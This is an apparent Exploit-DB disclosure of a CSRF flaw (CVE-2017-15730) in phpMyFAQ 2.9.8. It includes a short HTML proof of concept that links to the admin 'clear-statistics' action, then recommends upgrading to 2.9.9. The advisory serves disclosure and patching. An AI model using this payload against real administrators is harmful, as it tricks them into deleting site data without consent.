phpMyFAQ 2.9.8 – Cross-Site Request Forgery

# Exploit Title: phpMyFAQ 2.9.8 CSRF Vulnerability

# Date: 27-9-2017

# Exploit Author: Nikhil Mittal (Payatu Labs)

# Vendor Homepage: http://www.phpmyfaq.de/

# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip

# Version: 2.9.8

# Tested on: MAC OS

# CVE : 2017-15730

1. Description

In phpMyFAQ before 2.9.8, there is Cross-Site Request Forgery (CSRF) in admin/stat.ratings.php.

2. Proof of concept

<html>

<head>

<title>PHPMYSQL CSRF EXPLOIT</title>

</head>

<body>

<a href="http://127.0.0.1/phpmyfaq/admin/?action=clear-statistics">EXPLOIT!</a>

</body>

</html>

3. Solution

Update to phpMyFAQ Version 2.9.9

http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip